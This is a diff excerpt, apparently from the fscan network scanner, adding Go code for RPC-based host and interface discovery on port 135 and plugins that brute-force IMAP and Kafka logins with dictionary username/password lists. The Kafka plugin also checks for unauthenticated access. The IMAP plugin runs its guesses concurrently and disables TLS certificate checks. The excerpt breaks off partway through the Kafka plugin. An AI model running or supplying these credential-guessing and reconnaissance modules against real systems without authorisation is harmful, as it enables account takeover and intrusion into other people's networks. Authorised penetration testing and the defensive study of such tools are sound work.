||||||
|
|
||||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
|
||||||
nn := 0
|
|
||||||
for len(p) > 0 {
|
|
||||||
n := len(p)
|
|
||||||
if n > maxWrite {
|
|
||||||
n = maxWrite
|
|
||||||
}
|
|
||||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
|
||||||
return nn, err
|
|
||||||
}
|
|
||||||
nn += n
|
|
||||||
p = p[n:]
|
|
||||||
}
|
|
||||||
return nn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *streamWriter) Close() error {
|
|
||||||
// send empty record to close the stream
|
|
||||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
|
||||||
|
|
||||||
var reqId uint16 = 1
|
|
||||||
defer c.rwc.Close()
|
|
||||||
|
|
||||||
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = c.writePairs(FCGI_PARAMS, reqId, env)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if len(reqStr) > 0 {
|
|
||||||
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
rec := &record{}
|
|
||||||
var err1 error
|
|
||||||
|
|
||||||
// recive untill EOF or FCGI_END_REQUEST
|
|
||||||
for {
|
|
||||||
err1 = rec.read(c.rwc)
|
|
||||||
if err1 != nil {
|
|
||||||
if err1 != io.EOF {
|
|
||||||
err = err1
|
|
||||||
}
|
|
||||||
break
|
|
||||||
}
|
|
||||||
switch {
|
|
||||||
case rec.h.Type == FCGI_STDOUT:
|
|
||||||
retout = append(retout, rec.content()...)
|
|
||||||
case rec.h.Type == FCGI_STDERR:
|
|
||||||
reterr = append(reterr, rec.content()...)
|
|
||||||
case rec.h.Type == FCGI_END_REQUEST:
|
|
||||||
fallthrough
|
|
||||||
default:
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
+130
-63
@@ -5,61 +5,54 @@ import (
|
|||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"net"
|
||||||
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
"unicode"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
// RPC请求数据包
|
|
||||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||||
)
|
)
|
||||||
|
|
||||||
// Findnet 探测Windows网络主机信息的入口函数
|
|
||||||
func Findnet(info *Common.HostInfo) error {
|
func Findnet(info *Common.HostInfo) error {
|
||||||
return FindnetScan(info)
|
return FindnetScan(info)
|
||||||
}
|
}
|
||||||
|
|
||||||
// FindnetScan 通过RPC协议扫描网络主机信息
|
|
||||||
func FindnetScan(info *Common.HostInfo) error {
|
func FindnetScan(info *Common.HostInfo) error {
|
||||||
// 连接目标RPC端口
|
|
||||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
|
return fmt.Errorf("连接RPC端口失败: %v", err)
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
|
||||||
// 设置连接超时
|
|
||||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||||
return fmt.Errorf("[-] 设置超时失败: %v", err)
|
return fmt.Errorf("设置超时失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送第一个RPC请求
|
|
||||||
if _, err = conn.Write(bufferV1); err != nil {
|
if _, err = conn.Write(bufferV1); err != nil {
|
||||||
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
|
return fmt.Errorf("发送RPC请求1失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取响应
|
|
||||||
reply := make([]byte, 4096)
|
reply := make([]byte, 4096)
|
||||||
if _, err = conn.Read(reply); err != nil {
|
if _, err = conn.Read(reply); err != nil {
|
||||||
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
|
return fmt.Errorf("读取RPC响应1失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送第二个RPC请求
|
|
||||||
if _, err = conn.Write(bufferV2); err != nil {
|
if _, err = conn.Write(bufferV2); err != nil {
|
||||||
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
|
return fmt.Errorf("发送RPC请求2失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取并检查响应
|
|
||||||
n, err := conn.Read(reply)
|
n, err := conn.Read(reply)
|
||||||
if err != nil || n < 42 {
|
if err != nil || n < 42 {
|
||||||
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
|
return fmt.Errorf("读取RPC响应2失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析响应数据
|
|
||||||
text := reply[42:]
|
text := reply[42:]
|
||||||
found := false
|
found := false
|
||||||
for i := 0; i < len(text)-5; i++ {
|
for i := 0; i < len(text)-5; i++ {
|
||||||
@@ -71,53 +64,74 @@ func FindnetScan(info *Common.HostInfo) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if !found {
|
if !found {
|
||||||
fmt.Println("[+] FindNet扫描模块结束...")
|
return fmt.Errorf("未找到有效的响应标记")
|
||||||
return fmt.Errorf("[-] 未找到有效的响应标记")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析主机信息
|
|
||||||
return read(text, info.Host)
|
return read(text, info.Host)
|
||||||
}
|
}
|
||||||
|
|
||||||
// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串
|
|
||||||
func HexUnicodeStringToString(src string) string {
|
func HexUnicodeStringToString(src string) string {
|
||||||
// 确保输入长度是4的倍数
|
|
||||||
if len(src)%4 != 0 {
|
if len(src)%4 != 0 {
|
||||||
src += src[:len(src)-len(src)%4]
|
src += strings.Repeat("0", 4-len(src)%4)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 转换为标准Unicode格式
|
var result strings.Builder
|
||||||
var sText string
|
|
||||||
for i := 0; i < len(src); i += 4 {
|
for i := 0; i < len(src); i += 4 {
|
||||||
sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序
|
if i+4 > len(src) {
|
||||||
}
|
break
|
||||||
|
}
|
||||||
|
|
||||||
// 解析每个Unicode字符
|
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
|
||||||
unicodeChars := strings.Split(sText, "\\u")
|
if err != nil {
|
||||||
var result string
|
|
||||||
|
|
||||||
for _, char := range unicodeChars {
|
|
||||||
// 跳过空字符
|
|
||||||
if len(char) < 1 {
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// 将16进制转换为整数
|
if unicode.IsPrint(rune(charCode)) {
|
||||||
codePoint, err := strconv.ParseInt(char, 16, 32)
|
result.WriteRune(rune(charCode))
|
||||||
if err != nil {
|
|
||||||
return ""
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 转换为实际字符
|
|
||||||
result += fmt.Sprintf("%c", codePoint)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return result
|
return result.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func isValidHostname(name string) bool {
|
||||||
|
if len(name) == 0 || len(name) > 255 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
|
||||||
|
return validHostname.MatchString(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func isValidNetworkAddress(addr string) bool {
|
||||||
|
// 检查是否为IPv4或IPv6
|
||||||
|
if ip := net.ParseIP(addr); ip != nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否为有效主机名
|
||||||
|
return isValidHostname(addr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func cleanAndValidateAddress(data []byte) string {
|
||||||
|
// 转换为字符串并清理不可打印字符
|
||||||
|
addr := strings.Map(func(r rune) rune {
|
||||||
|
if unicode.IsPrint(r) {
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
return -1
|
||||||
|
}, string(data))
|
||||||
|
|
||||||
|
// 移除前后空白
|
||||||
|
addr = strings.TrimSpace(addr)
|
||||||
|
|
||||||
|
if isValidNetworkAddress(addr) {
|
||||||
|
return addr
|
||||||
|
}
|
||||||
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
// read 解析并显示主机网络信息
|
|
||||||
func read(text []byte, host string) error {
|
func read(text []byte, host string) error {
|
||||||
// 将原始数据转换为16进制字符串
|
|
||||||
encodedStr := hex.EncodeToString(text)
|
encodedStr := hex.EncodeToString(text)
|
||||||
|
|
||||||
// 解析主机名
|
// 解析主机名
|
||||||
@@ -129,34 +143,87 @@ func read(text []byte, host string) error {
|
|||||||
hostName += encodedStr[i : i+4]
|
hostName += encodedStr[i : i+4]
|
||||||
}
|
}
|
||||||
|
|
||||||
// 转换主机名为可读字符串
|
|
||||||
name := HexUnicodeStringToString(hostName)
|
name := HexUnicodeStringToString(hostName)
|
||||||
|
if !isValidHostname(name) {
|
||||||
|
name = ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 用于收集地址信息
|
||||||
|
var ipv4Addrs []string
|
||||||
|
var ipv6Addrs []string
|
||||||
|
seenAddresses := make(map[string]bool)
|
||||||
|
|
||||||
// 解析网络信息
|
// 解析网络信息
|
||||||
netInfo := strings.Replace(encodedStr, "0700", "", -1)
|
netInfo := strings.Replace(encodedStr, "0700", "", -1)
|
||||||
hosts := strings.Split(netInfo, "000000")
|
segments := strings.Split(netInfo, "000000")
|
||||||
hosts = hosts[1:] // 跳过第一个空元素
|
|
||||||
|
|
||||||
// 构造输出结果
|
// 处理每个网络地址
|
||||||
result := fmt.Sprintf("[*] NetInfo\n[*] %s", host)
|
for _, segment := range segments {
|
||||||
if name != "" {
|
if len(segment) == 0 {
|
||||||
result += fmt.Sprintf("\n [->] %s", name)
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// 解析每个网络主机信息
|
if len(segment)%2 != 0 {
|
||||||
for _, h := range hosts {
|
segment = segment + "0"
|
||||||
// 移除填充字节
|
}
|
||||||
h = strings.Replace(h, "00", "", -1)
|
|
||||||
|
addrBytes, err := hex.DecodeString(segment)
|
||||||
// 解码主机信息
|
|
||||||
hostInfo, err := hex.DecodeString(h)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("[-] 解码主机信息失败: %v", err)
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
addr := cleanAndValidateAddress(addrBytes)
|
||||||
|
if addr != "" && !seenAddresses[addr] {
|
||||||
|
seenAddresses[addr] = true
|
||||||
|
|
||||||
|
if strings.Contains(addr, ":") {
|
||||||
|
ipv6Addrs = append(ipv6Addrs, addr)
|
||||||
|
} else if net.ParseIP(addr) != nil {
|
||||||
|
ipv4Addrs = append(ipv4Addrs, addr)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
result += fmt.Sprintf("\n [->] %s", string(hostInfo))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 输出结果
|
// 构建详细信息
|
||||||
Common.LogSuccess(result)
|
details := map[string]interface{}{
|
||||||
|
"hostname": name,
|
||||||
|
"ipv4": ipv4Addrs,
|
||||||
|
"ipv6": ipv6Addrs,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存扫描结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.SERVICE,
|
||||||
|
Target: host,
|
||||||
|
Status: "identified",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
|
||||||
|
// 构建控制台输出
|
||||||
|
var output strings.Builder
|
||||||
|
output.WriteString("NetInfo 扫描结果")
|
||||||
|
output.WriteString(fmt.Sprintf("\n目标主机: %s", host))
|
||||||
|
if name != "" {
|
||||||
|
output.WriteString(fmt.Sprintf("\n主机名: %s", name))
|
||||||
|
}
|
||||||
|
output.WriteString("\n发现的网络接口:")
|
||||||
|
|
||||||
|
if len(ipv4Addrs) > 0 {
|
||||||
|
output.WriteString("\n IPv4地址:")
|
||||||
|
for _, addr := range ipv4Addrs {
|
||||||
|
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(ipv6Addrs) > 0 {
|
||||||
|
output.WriteString("\n IPv6地址:")
|
||||||
|
for _, addr := range ipv6Addrs {
|
||||||
|
output.WriteString(fmt.Sprintf("\n └─ %s", addr))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogInfo(output.String())
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
+326
@@ -0,0 +1,326 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"crypto/tls"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// IMAPCredential 表示一个IMAP凭据
|
||||||
|
type IMAPCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// IMAPScanResult 表示IMAP扫描结果
|
||||||
|
type IMAPScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential IMAPCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
// IMAPScan 主扫描函数
|
||||||
|
func IMAPScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []IMAPCredential
|
||||||
|
for _, user := range Common.Userdict["imap"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, IMAPCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 并发扫描
|
||||||
|
result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveIMAPResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("IMAP扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentIMAPScan 并发扫描IMAP服务
|
||||||
|
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *IMAPScanResult, 1)
|
||||||
|
workChan := make(chan IMAPCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryIMAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("IMAP并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryIMAPCredential 尝试单个IMAP凭据
|
||||||
|
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &IMAPScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建单个连接超时的上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, err := IMAPConn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &IMAPScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &IMAPScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// IMAPConn 连接测试函数
|
||||||
|
func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
addr := fmt.Sprintf("%s:%s", host, port)
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
go func() {
|
||||||
|
// 先尝试普通连接
|
||||||
|
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", addr)
|
||||||
|
if err == nil {
|
||||||
|
flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
|
||||||
|
conn.Close()
|
||||||
|
if authErr == nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{flag, nil}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果普通连接失败或认证失败,尝试TLS连接
|
||||||
|
tlsConfig := &tls.Config{
|
||||||
|
InsecureSkipVerify: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用支持代理的TLS连接
|
||||||
|
tlsConn, tlsErr := Common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig)
|
||||||
|
if tlsErr != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, fmt.Errorf("TLS连接失败: %v", tlsErr)}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tlsConn.Close()
|
||||||
|
|
||||||
|
flag, authErr := tryIMAPAuth(tlsConn, user, pass, timeout)
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{flag, authErr}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryIMAPAuth 尝试IMAP认证
|
||||||
|
func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
|
reader := bufio.NewReader(conn)
|
||||||
|
_, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("读取欢迎消息失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass)
|
||||||
|
_, err = conn.Write([]byte(loginCmd))
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("发送登录命令失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
response, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
if err == io.EOF {
|
||||||
|
return false, fmt.Errorf("认证失败")
|
||||||
|
}
|
||||||
|
return false, fmt.Errorf("读取响应失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(response, "a001 OK") {
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") {
|
||||||
|
return false, fmt.Errorf("认证失败")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveIMAPResult 保存IMAP扫描结果
|
||||||
|
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) {
|
||||||
|
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "imap",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
@@ -0,0 +1,327 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"github.com/IBM/sarama"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// KafkaCredential 表示Kafka凭据
|
||||||
|
type KafkaCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// KafkaScanResult 表示扫描结果
|
||||||
|
type KafkaScanResult struct {
|
||||||
|
Success bool
|
||||||
|
IsUnauth bool
|
||||||
|
Error error
|
||||||
|
Credential KafkaCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
func KafkaScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 先尝试无认证访问
|
||||||
|
Common.LogDebug("尝试无认证访问...")
|
||||||
|
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if unauthResult.Success {
|
||||||
|
// 无认证访问成功
|
||||||
|
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
|
||||||
|
|
||||||
|
// 保存无认证访问结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "kafka",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []KafkaCredential
|
||||||
|
for _, user := range Common.Userdict["kafka"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, KafkaCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 保存爆破成功结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
